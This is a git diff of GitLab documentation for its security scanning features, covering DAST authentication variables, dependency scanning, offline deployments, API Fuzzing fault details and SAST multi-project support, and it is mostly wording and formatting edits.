both values are set, the `DAST_WEBSITE` value takes precedence. @@ -161,8 +171,9 @@ headers whose values you want masked. For details on how to mask headers, see It's also possible to authenticate the user before performing the DAST checks. -**Important:** It is highly recommended that you configure the scanner to authenticate to the application, -or it will not be able to check most of the application for security risks, as most +NOTE: +We highly recommended that you configure the scanner to authenticate to the application, +otherwise it cannot check most of the application for security risks, as most of your application is likely not accessible without authentication. It is also recommended that you periodically confirm the scanner's authentication is still working as this tends to break over time due to authentication changes to the application. @@ -183,6 +194,8 @@ variables: DAST_AUTH_URL: https://example.com/sign-in DAST_USERNAME_FIELD: session[user] # the name of username field at the sign-in HTML form DAST_PASSWORD_FIELD: session[password] # the name of password field at the sign-in HTML form + DAST_SUBMIT_FIELD: login # the `id` or `name` of the element that when clicked will submit the login form or the password form of a multi-page login process + DAST_FIRST_SUBMIT_FIELD: next # the `id` or `name` of the element that when clicked will submit the username form of a multi-page login process DAST_AUTH_EXCLUDE_URLS: http://example.com/sign-out,http://example.com/sign-out-2 # optional, URLs to skip during the authenticated scan; comma-separated, no spaces in between ``` @@ -191,7 +204,7 @@ The results are saved as a that you can later download and analyze. Due to implementation limitations, we always take the latest DAST artifact available. -DANGER: **Warning:** +WARNING: **NEVER** run an authenticated scan against a production server. When an authenticated scan is run, it may perform *any* function that the authenticated user can. This includes actions like modifying and deleting data, submitting forms, and following links. @@ -486,8 +499,8 @@ variables: When using `DAST_PATHS` and `DAST_PATHS_FILE`, note the following: -- `DAST_WEBSITE` must be defined when using either `DAST_PATHS_FILE` or `DAST_PATHS`. The paths listed in either will use `DAST_WEBSITE` to build the URLs to scan -- Spidering is disabed when `DAST_PATHS` or `DAST_PATHS_FILE` are defined +- `DAST_WEBSITE` must be defined when using either `DAST_PATHS_FILE` or `DAST_PATHS`. The paths listed in either use `DAST_WEBSITE` to build the URLs to scan +- Spidering is disabled when `DAST_PATHS` or `DAST_PATHS_FILE` are defined - `DAST_PATHS_FILE` and `DAST_PATHS` can not be used together - The `DAST_PATHS` environment variable has a limit of about 130kb. If you have a list or paths greater than this, use `DAST_PATHS_FILE`. @@ -498,7 +511,7 @@ To perform a [full scan](#full-scan) on the listed paths, use the `DAST_FULL_SCA ### Customizing the DAST settings -CAUTION: **Deprecation:** +WARNING: Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic) is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead. @@ -529,7 +542,7 @@ DAST can be [configured](#customizing-the-dast-settings) using environment varia | `SECURE_ANALYZERS_PREFIX` | URL | Set the Docker registry base address from which to download the analyzer. | | `DAST_WEBSITE` | URL | The URL of the website to scan. `DAST_API_SPECIFICATION` must be specified if this is omitted. | | `DAST_API_SPECIFICATION` | URL or string | The API specification to import. The specification can be hosted at a URL, or the name of a file present in the `/zap/wrk` directory. `DAST_WEBSITE` must be specified if this is omitted. | -| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` will be reset to `http://test.site` before scan. Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. | +| `DAST_SPIDER_START_AT_HOST` | boolean | Set to `false` to prevent DAST from resetting the target to its host before scanning. When `true`, non-host targets `http://test.site/some_path` is reset to `http://test.site` before scan. Default: `true`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258805) in GitLab 13.6. | | `DAST_AUTH_URL` | URL | The URL of the page containing the sign-in HTML form on the target website. `DAST_USERNAME` and `DAST_PASSWORD` are submitted with the login form to create an authenticated scan. Not supported for API scans. | | `DAST_USERNAME` | string | The username to authenticate to in the website. | | `DAST_PASSWORD` | string | The password to authenticate to in the website. | @@ -551,7 +564,9 @@ DAST can be [configured](#customizing-the-dast-settings) using environment varia | `DAST_INCLUDE_ALPHA_VULNERABILITIES` | boolean | Set to `true` to include alpha passive and active scan rules. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | | `DAST_USE_AJAX_SPIDER` | boolean | Set to `true` to use the AJAX spider in addition to the traditional spider, useful for crawling sites that require JavaScript. Default: `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | | `DAST_PATHS` | string | Set to a comma-separated list of URLs for DAST to scan. For example, `/page1.html,/category1/page3.html,/page2.html`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214120) in GitLab 13.4. | -| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line and be within `/zap/wrk`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. | +| `DAST_PATHS_FILE` | string | The file path containing the paths within `DAST_WEBSITE` to scan. The file must be plain text with one path per line and be in `/zap/wrk`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/258825) in GitLab 13.6. | +| `DAST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the login form or the password form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | +| `DAST_FIRST_SUBMIT_FIELD` | string | The `id` or `name` of the element that when clicked submits the username form of a multi-page login process. [Introduced](https://gitlab.com/gitlab-org/gitlab-ee/issues/9894) in GitLab 12.4. | | `DAST_ZAP_CLI_OPTIONS` | string | ZAP server command-line options. For example, `-Xmx3072m` would set the Java maximum memory allocation pool size. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12652) in GitLab 13.1. | | `DAST_ZAP_LOG_CONFIGURATION` | string | Set to a semicolon-separated list of additional log4j properties for the ZAP Server. For example, `log4j.logger.org.parosproxy.paros.network.HttpSender=DEBUG;log4j.logger.com.crawljax=DEBUG` | @@ -720,7 +735,7 @@ To delete an existing site profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. 1. Click **Manage** in the **DAST Profiles** row. -1. Click **{remove}** in the row of the profile to delete. +1. Click **{remove}** (Delete profile) in the row of the profile to delete. ## Scanner profile @@ -762,7 +777,7 @@ To delete a scanner profile: 1. From your project's home page, go to **Security & Compliance > Configuration**. 1. Click **Manage** in the **DAST Profiles** row. -1. Click **{remove}** in the scanner profile's row. +1. Click **{remove}** (Delete profile) in the scanner profile's row. ## On-demand scans @@ -780,7 +795,7 @@ An on-demand DAST scan: ### Run an on-demand DAST scan -NOTE: **Note:** +NOTE: You must have permission to run an on-demand DAST scan against a protected branch. The default branch is automatically protected. For more information, see [Pipeline security on protected branches](../../../ci/pipelines/index.md#pipeline-security-on-protected-branches). @@ -812,7 +827,7 @@ Click **View details** to view the web console output which includes the list of ### JSON -CAUTION: **Caution:** +WARNING: The JSON report artifacts are not a public API of DAST and their format is expected to change in the future. The DAST tool always emits a JSON report file called `gl-dast-report.json` and @@ -821,8 +836,8 @@ sample reports can be found in the There are two formats of data in the JSON report that are used side by side: -- The proprietary ZAP format that will be eventually deprecated. -- A common format that will be the default in the future. +- The proprietary ZAP format, which is planned to be deprecated. +- A common format that is planned to the default in the future. ### Other formats diff --git a/doc/user/application_security/dependency_list/index.md b/doc/user/application_security/dependency_list/index.md index ddd059707d4..d5f4ce9cc6a 100644 --- a/doc/user/application_security/dependency_list/index.md +++ b/doc/user/application_security/dependency_list/index.md @@ -2,14 +2,14 @@ type: reference, howto stage: Secure group: Composition Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dependency List **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10075) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.0. -The Dependency list allows you to see your project's dependencies, and key +The dependency list allows you to see your project's dependencies, and key details about them, including their known vulnerabilities. To see it, navigate to **Security & Compliance > Dependency List** in your project's sidebar. This information is sometimes referred to as a Software Bill of Materials or SBoM / BOM. @@ -55,13 +55,14 @@ dependencies, but the UI only shows one of the shortest paths. Dependency Paths are supported for the following package managers: - [NuGet](https://www.nuget.org/) +- [Yarn 1.x](https://classic.yarnpkg.com/lang/en/) ## Licenses > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/10536) in GitLab Ultimate 12.3. If the [License Compliance](../../compliance/license_compliance/index.md) CI job is configured, -the [discovered licenses](../../compliance/license_compliance/index.md#supported-languages-and-package-managers) will be displayed on this page. +the [discovered licenses](../../compliance/license_compliance/index.md#supported-languages-and-package-managers) are displayed on this page. ## Downloading the Dependency List diff --git a/doc/user/application_security/dependency_scanning/analyzers.md b/doc/user/application_security/dependency_scanning/analyzers.md index 40189235e64..1079a75e32f 100644 --- a/doc/user/application_security/dependency_scanning/analyzers.md +++ b/doc/user/application_security/dependency_scanning/analyzers.md @@ -2,7 +2,7 @@ type: reference, howto stage: Secure group: Composition Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dependency Scanning Analyzers **(ULTIMATE)** diff --git a/doc/user/application_security/dependency_scanning/index.md b/doc/user/application_security/dependency_scanning/index.md index 1b164c9cecd..07774f51958 100644 --- a/doc/user/application_security/dependency_scanning/index.md +++ b/doc/user/application_security/dependency_scanning/index.md @@ -2,14 +2,14 @@ type: reference, howto stage: Secure group: Composition Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dependency Scanning **(ULTIMATE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5105) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.7. -GitLab's Dependency Scanning feature can automatically find security vulnerabilities in your +The Dependency Scanning feature can automatically find security vulnerabilities in your dependencies while you're developing and testing your applications. For example, dependency scanning lets you know if your application uses an external (open source) library that is known to be vulnerable. You can then take action to protect your application. @@ -46,7 +46,7 @@ To run dependency scanning jobs, by default, you need GitLab Runner with the [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. If you're using the shared runners on GitLab.com, this is enabled by default. -CAUTION: **Caution:** +WARNING: If you use your own runners, make sure your installed version of Docker is **not** `19.03.0`. See [troubleshooting information](#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details. @@ -64,7 +64,7 @@ The following languages and dependency managers are supported: | [Conan](https://conan.io/) | C, C++ | [`conan.lock`](https://docs.conan.io/en/latest/versioning/lockfiles.html) | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | | [Golang](https://golang.org/) | Go | `go.sum` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | | [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/) | Java | `build.gradle`, `build.gradle.kts`, `pom.xml` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | -| [npm](https://www.npmjs.com/), [yarn](https://classic.yarnpkg.com/en/) | JavaScript | `package-lock.json`, `npm-shrinkwrap.json`, `yarn.lock` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium), [Retire.js](https://retirejs.github.io/retire.js/) | +| [npm](https://www.npmjs.com/), [yarn](https://classic.yarnpkg.com/en/) 1.x | JavaScript | `package-lock.json`, `npm-shrinkwrap.json`, `yarn.lock` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium), [Retire.js](https://retirejs.github.io/retire.js/) | | [NuGet](https://www.nuget.org/) 4.9+ | .NET, C# | [`packages.lock.json`](https://docs.microsoft.com/en-us/nuget/consume-packages/package-references-in-project-files#enabling-lock-file) | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | | [setuptools](https://setuptools.readthedocs.io/en/latest/), [pip](https://pip.pypa.io/en/stable/), [Pipenv](https://pipenv.pypa.io/en/latest/) | Python | `setup.py`, `requirements.txt`, `requirements.pip`, `requires.txt`, `Pipfile` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | | [sbt](https://www.scala-sbt.org/) 1.2 and below ([Ivy](http://ant.apache.org/ivy/)) | Scala | `build.sbt` | [Gemnasium](https://gitlab.com/gitlab-org/security-products/gemnasium) | @@ -123,7 +123,7 @@ configuration, the last mention of the variable takes precedence. ### Overriding dependency scanning jobs -CAUTION: **Deprecation:** +WARNING: Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic) is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead. @@ -141,6 +141,16 @@ gemnasium-dependency_scanning: DS_REMEDIATE: "false" ``` +To override the `dependencies: []` attribute, add an override job as above, targeting this attribute: + +```yaml +include: + - template: Dependency-Scanning.gitlab-ci.yml + +gemnasium-dependency_scanning: + dependencies: ["build"] +``` + ### Available variables Dependency scanning can be [configured](#customizing-the-dependency-scanning-settings) @@ -173,7 +183,7 @@ The following variables are used for configuring specific analyzers (used for a | `PIP_REQUIREMENTS_FILE` | `gemnasium-python` | | Pip requirements file to be scanned. | | `DS_PIP_VERSION` | `gemnasium-python` | | Force the install of a specific pip version (example: `"19.3"`), otherwise the pip installed in the Docker image is used. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12811) in GitLab 12.7) | | `DS_PIP_DEPENDENCY_PATH` | `gemnasium-python` | | Path to load Python pip dependencies from. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12412) in GitLab 12.2) | -| `DS_PYTHON_VERSION` | `retire.js` | | Version of Python. If set to 2, dependencies are installed using Python 2.7 instead of Python 3.6. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12296) in GitLab 12.1)| +| `DS_PYTHON_VERSION` | `retire.js` | | Version of Python. If set to 2, dependencies are installed using Python 2.7 instead of Python 3.6. ([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12296) in GitLab 12.1, [removed](https://www.python.org/doc/sunset-python-2/) in GitLab 13.7)| | `DS_JAVA_VERSION` | `gemnasium-maven` | `11` | Version of Java. Available versions: `8`, `11`, `13`, `14`. Maven and Gradle use the Java version specified by this value. | | `MAVEN_CLI_OPTS` | `gemnasium-maven` | `"-DskipTests --batch-mode"` | List of command line arguments that are passed to `maven` by the analyzer. See an example for [using private repositories](../index.md#using-private-maven-repos). | | `GRADLE_CLI_OPTS` | `gemnasium-maven` | | List of command line arguments that are passed to `gradle` by the analyzer. | @@ -356,10 +366,10 @@ Here are the requirements for using dependency scanning in an offline environmen - GitLab Runner with the [`docker` or `kubernetes` executor](#requirements). - Docker Container Registry with locally available copies of dependency scanning [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers) images. -- If you have a limited access environment you will need to allow access, such as using a proxy, to the advisory database: `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git`. +- If you have a limited access environment you need to allow access, such as using a proxy, to the advisory database: `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git`. If you are unable to permit access to `https://gitlab.com/gitlab-org/security-products/gemnasium-db.git` you must host an offline copy of this `git` repository and set the `GEMNASIUM_DB_REMOTE_URL` variable to the URL of this repository. For more information on configuration variables, see [Dependency Scanning](#configuring-dependency-scanning). - This advisory database is constantly being updated, so you will need to periodically sync your local copy with GitLab's. + This advisory database is constantly being updated, so you must periodically sync your local copy with GitLab. - _Only if scanning Ruby projects_: Host an offline Git copy of the [advisory database](https://github.com/rubysec/ruby-advisory-db). - _Only if scanning npm/yarn projects_: Host an offline copy of the [retire.js](https://github.com/RetireJS/retire.js/) [node](https://github.com/RetireJS/retire.js/blob/master/repository/npmrepository.json) and [js](https://github.com/RetireJS/retire.js/blob/master/repository/jsrepository.json) advisory databases. @@ -510,3 +520,8 @@ uses the [`rules:exists`](../../../ci/yaml/README.md#rulesexists) syntax. This directive is limited to 10000 checks and always returns `true` after reaching this number. Because of this, and depending on the number of files in your repository, a dependency scanning job might be triggered even if the scanner doesn't support your project. + +### Issues building projects with npm or yarn packages relying on Python 2 + +Python 2 was removed (see: [Python 2 sunsetting](https://www.python.org/doc/sunset-python-2/)) from the `retire.js` analyzer in GitLab 13.7 (analyzer version 2.10.1). Projects using packages +with a dependency on this version of Python should use `retire.js` version 2.10.0 or lower (for example, `registry.gitlab.com/gitlab-org/security-products/analyzers/retire.js:2.10.0`). diff --git a/doc/user/application_security/img/security_widget_v13_6.png b/doc/user/application_security/img/security_widget_v13_6.png Binary files differdeleted file mode 100644 index 2dd44909dfe..00000000000 --- a/doc/user/application_security/img/security_widget_v13_6.png +++ /dev/null diff --git a/doc/user/application_security/img/security_widget_v13_7.png b/doc/user/application_security/img/security_widget_v13_7.png Binary files differnew file mode 100644 index 00000000000..fb1eaf9a2be --- /dev/null +++ b/doc/user/application_security/img/security_widget_v13_7.png diff --git a/doc/user/application_security/index.md b/doc/user/application_security/index.md index 30852d1bbcd..417ce70665c 100644 --- a/doc/user/application_security/index.md +++ b/doc/user/application_security/index.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: secure +group: secure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -92,7 +92,7 @@ rules: ## Security Scanning with Auto DevOps -When [Auto DevOps](../../topics/autodevops/) is enabled, all GitLab Security scanning tools will be configured using default settings. +When [Auto DevOps](../../topics/autodevops/) is enabled, all GitLab Security scanning tools are configured using default settings. - [Auto SAST](../../topics/autodevops/stages.md#auto-sast) - [Auto Secret Detection](../../topics/autodevops/stages.md#auto-secret-detection) @@ -110,7 +110,7 @@ The scanning tools and vulnerabilities database are updated regularly. | Secure scanning tool | Vulnerabilities database updates | |:-------------------------------------------------------------|-------------------------------------------| | [Container Scanning](container_scanning/index.md) | Uses `clair`. The latest `clair-db` version is used for each job by running the [`latest` Docker image tag](https://gitlab.com/gitlab-org/gitlab/blob/438a0a56dc0882f22bdd82e700554525f552d91b/lib/gitlab/ci/templates/Security/Container-Scanning.gitlab-ci.yml#L37). The `clair-db` database [is updated daily according to the author](https://github.com/arminc/clair-local-scan#clair-server-or-local). | -| [Dependency Scanning](dependency_scanning/index.md) | Relies on `bundler-audit` (for Ruby gems), `retire.js` (for NPM packages), and `gemnasium` (GitLab's own tool for all libraries). Both `bundler-audit` and `retire.js` fetch their vulnerabilities data from GitHub repositories, so vulnerabilities added to `ruby-advisory-db` and `retire.js` are immediately available. The tools themselves are updated once per month if there's a new version. The [Gemnasium DB](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is updated at least once a week. See our [current measurement of time from CVE being issued to our product being updated](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update). | +| [Dependency Scanning](dependency_scanning/index.md) | Relies on `bundler-audit` (for Ruby gems), `retire.js` (for NPM packages), and `gemnasium` (the GitLab tool for all libraries). Both `bundler-audit` and `retire.js` fetch their vulnerabilities data from GitHub repositories, so vulnerabilities added to `ruby-advisory-db` and `retire.js` are immediately available. The tools themselves are updated once per month if there's a new version. The [Gemnasium DB](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is updated at least once a week. See our [current measurement of time from CVE being issued to our product being updated](https://about.gitlab.com/handbook/engineering/development/performance-indicators/#cve-issue-to-update). | | [Dynamic Application Security Testing (DAST)](dast/index.md) | The scanning engine is updated on a periodic basis. See the [version of the underlying tool `zaproxy`](https://gitlab.com/gitlab-org/security-products/dast/blob/master/Dockerfile#L1). The scanning rules are downloaded at scan runtime. | | [Static Application Security Testing (SAST)](sast/index.md) | Relies exclusively on [the tools GitLab wraps](sast/index.md#supported-languages-and-frameworks). The underlying analyzers are updated at least once per month if a relevant update is available. The vulnerabilities database is updated by the upstream tools. | @@ -127,19 +127,21 @@ with this approach, however, and there is a > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4393) in GitLab Core 13.5. > - Made [available in all tiers](https://gitlab.com/gitlab-org/gitlab/-/issues/273205) in 13.6. +> - Report download dropdown [added](https://gitlab.com/gitlab-org/gitlab/-/issues/273418) in 13.7. > - It's [deployed behind a feature flag](../feature_flags.md), enabled by default. > - It's enabled on GitLab.com. > - It can be enabled or disabled for a single project. > - It's recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-the-basic-security-widget). **(CORE ONLY)** -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. Merge requests which have run security scans let you know that the generated -reports are available to download. +reports are available to download. To download a report, click on the +**Download results** dropdown, and select the desired report. - + ## Interacting with the vulnerabilities @@ -199,6 +201,43 @@ authorization credentials. By default, content of specific headers are masked in reports. You can specify the list of all headers to be masked. For details, see [Hide sensitive information](dast/index.md#hide-sensitive-information). +### View details of an API Fuzzing vulnerability + +> Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7. + +Faults detected by API Fuzzing occur in the live web application, and require manual investigation +to determine if they are vulnerabilities. Fuzzing faults are included as vulnerabilities with a +severity of Unknown. To facilitate investigation of the fuzzing faults, detailed information is +provided about the HTTP messages sent and received along with a description of the modification(s) +made. + +Follow these steps to view details of a fuzzing fault: + +1. You can view faults in a project, or a merge request: + + - In a project, go to the project's **{shield}** **Security & Compliance > Vulnerability Report** + page. This page shows all vulnerabilities from the default branch only. + - In a merge request, go the merge request's **Security** section and click the **Expand** + button. API Fuzzing faults are available in a section labeled + **API Fuzzing detected N potential vulnerabilities**. Click the title to display the fault + details. + +1. Click the fault's title to display the fault's details. The table below describes these details. + +| Field | Description | +|:-----------------|:------------------------------------------------------------------ | +| Description | Description of the fault including what was modified. | +| Project | Namespace and project in which the vulnerability was detected. | +| Method | HTTP method used to detect the vulnerability. | +| URL | URL at which the vulnerability was detected. | +| Request | The HTTP request that caused the fault. | +| Unmodified Response | Response from an unmodified request. This is what a normal working response looks like. | +| Actual Response | Response received from fuzzed request. | +| Evidence | How we determined a fault occurred. | +| Identifiers | The fuzzing check used to find this fault. | +| Severity | Severity of the finding is always Unknown. | +| Scanner Type | Scanner used to perform testing. | + ### Dismissing a vulnerability To dismiss a vulnerability, you must set its status to Dismissed. This dismisses the vulnerability @@ -225,11 +264,11 @@ vulnerability as you learn more over time. > Introduced in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.9. You can dismiss multiple vulnerabilities at once, providing an optional reason. -Selecting the checkboxes on the side of each vulnerability in the list will select that individual vulnerability. +Selecting the checkboxes on the side of each vulnerability in the list selects that individual vulnerability. Alternatively, you can select all the vulnerabilities in the list by selecting the checkbox in the table header. -Deselecting the checkbox in the header will deselect all the vulnerabilities in the list. +Deselecting the checkbox in the header deselects all the vulnerabilities in the list. Once you have selected some vulnerabilities, a menu appears at the top of the table that allows you to select a dismissal reason. -Pressing the "Dismiss Selected" button will dismiss all the selected vulnerabilities at once, with the reason you chose. +Pressing the "Dismiss Selected" button dismisses all the selected vulnerabilities at once, with the reason you chose.  diff --git a/doc/user/application_security/license_compliance/index.md b/doc/user/application_security/license_compliance/index.md index ed81eb8ca10..4c598d851a9 100644 --- a/doc/user/application_security/license_compliance/index.md +++ b/doc/user/application_security/license_compliance/index.md @@ -3,3 +3,6 @@ redirect_to: '../../compliance/license_compliance/index.md' --- This document was moved to [another location](../../compliance/license_compliance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/application_security/license_management/index.md b/doc/user/application_security/license_management/index.md index df44041600b..bd67fca529f 100644 --- a/doc/user/application_security/license_management/index.md +++ b/doc/user/application_security/license_management/index.md @@ -3,3 +3,6 @@ redirect_to: ../../compliance/license_compliance/index.md --- This document was moved to [another location](../../compliance/license_compliance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/application_security/offline_deployments/index.md b/doc/user/application_security/offline_deployments/index.md index 35582aa20ed..14ca27cdabe 100644 --- a/doc/user/application_security/offline_deployments/index.md +++ b/doc/user/application_security/offline_deployments/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Secure group: Static Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Offline environments @@ -34,7 +34,7 @@ must come in through physical media (USB drive, hard drive, writeable DVD, etc.) ## Overview -GitLab scanners generally will connect to the internet to download the +GitLab scanners usually connect to the internet to download the latest sets of signatures, rules, and patches. A few extra steps are necessary to configure the tools to function properly by using resources available on your local network. @@ -73,7 +73,7 @@ hosting the latest versions of that dependency or image. ### Scanner signature and rule updates -When connected to the internet, some scanners will reference public databases +When connected to the internet, some scanners reference public databases for the latest sets of signatures and rules to check against. Without connectivity, this is not possible. Depending on the scanner, you must therefore disable these automatic update checks and either use the databases that they came @@ -131,7 +131,7 @@ a bastion, and used only for this specific project. #### Scheduling the updates -By default, this project's pipeline will run only once, when the `.gitlab-ci.yml` is added to the +By default, this project's pipeline runs only once, when the `.gitlab-ci.yml` is added to the repo. To update the GitLab security scanners and signatures, it's necessary to run this pipeline regularly. GitLab provides a way to [schedule pipelines](../../../ci/pipelines/schedules.md). For example, you can set this up to download and store the Docker images every week. @@ -139,7 +139,7 @@ example, you can set this up to download and store the Docker images every week. Some images can be updated more frequently than others. For example, the [vulnerability database](https://hub.docker.com/r/arminc/clair-db/tags) for Container Scanning is updated daily. To update this single image, create a new Scheduled Pipeline that runs daily and set `SECURE_BINARIES_ANALYZERS` to `clair-vulnerabilities-db`. Only -this job will be triggered, and the image will be updated daily and made available in the project +this job is triggered, and the image is updated daily and made available in the project registry. #### Using the secure bundle created diff --git a/doc/user/application_security/sast/analyzers.md b/doc/user/application_security/sast/analyzers.md index 4cbd4496dea..15412473ab1 100644 --- a/doc/user/application_security/sast/analyzers.md +++ b/doc/user/application_security/sast/analyzers.md @@ -1,7 +1,7 @@ --- stage: Secure group: Static Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # SAST Analyzers **(CORE)** diff --git a/doc/user/application_security/sast/index.md b/doc/user/application_security/sast/index.md index 49e194a9319..fb3bc256e11 100644 --- a/doc/user/application_security/sast/index.md +++ b/doc/user/application_security/sast/index.md @@ -1,15 +1,16 @@ --- stage: Secure group: Static Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- # Static Application Security Testing (SAST) -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3775) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3775) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 10.3. +> - All open source (OSS) analyzers were moved to GitLab Core in GitLab 13.3. -NOTE: **Note:** +NOTE: The whitepaper ["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/) explains how 4 of the top 6 attacks were application based. Download it to learn how to protect your organization. @@ -50,16 +51,16 @@ To run SAST jobs, by default, you need GitLab Runner with the [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. If you're using the shared runners on GitLab.com, this is enabled by default. -CAUTION: **Caution:** +WARNING: Our SAST jobs require a Linux container type. Windows containers are not yet supported. -CAUTION: **Caution:** +WARNING: If you use your own runners, make sure the Docker version installed is **not** `19.03.0`. See [troubleshooting information](#error-response-from-daemon-error-processing-tar-file-docker-tar-relocation-error) for details. ## Supported languages and frameworks -GitLab SAST supports a variety of languages, package managers, and frameworks. Our SAST security scanners also feature automatic language detection which works even for mixed-language projects. If any supported language is detected in project source code we will automatically run the appropriate SAST analyzers. +GitLab SAST supports a variety of languages, package managers, and frameworks. Our SAST security scanners also feature automatic language detection which works even for mixed-language projects. If any supported language is detected in project source code we automatically run the appropriate SAST analyzers. You can also [view our language roadmap](https://about.gitlab.com/direction/secure/static-analysis/sast/#language-support) and [request other language support by opening an issue](https://gitlab.com/groups/gitlab-org/-/epics/297). @@ -93,6 +94,31 @@ Note that the Java analyzers can also be used for variants like the [Grails](https://grails.org/), and the [Maven wrapper](https://github.com/takari/maven-wrapper). +### Multi-project support + +> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4895) in GitLab 13.7. + +GitLab SAST can scan repositories that contain multiple projects. All projects must be in the same +language. + +The following analyzers have multi-project support: + +- Bandit +- ESLint +- Gosec +- Kubesec +- NodeJsScan +- MobSF +- PMD +- Security Code Scan +- SpotBugs +- Sobelow + +#### Enable multi-project support for Security Code Scan + +Multi-project support in the Security Code Scan requires a Solution (`.sln`) file in the root of +the repository. For details on the Solution format, see the Microsoft reference [Solution (.sln) file](https://docs.microsoft.com/en-us/visualstudio/extensibility/internals/solution-dot-sln-file?view=vs-2019). 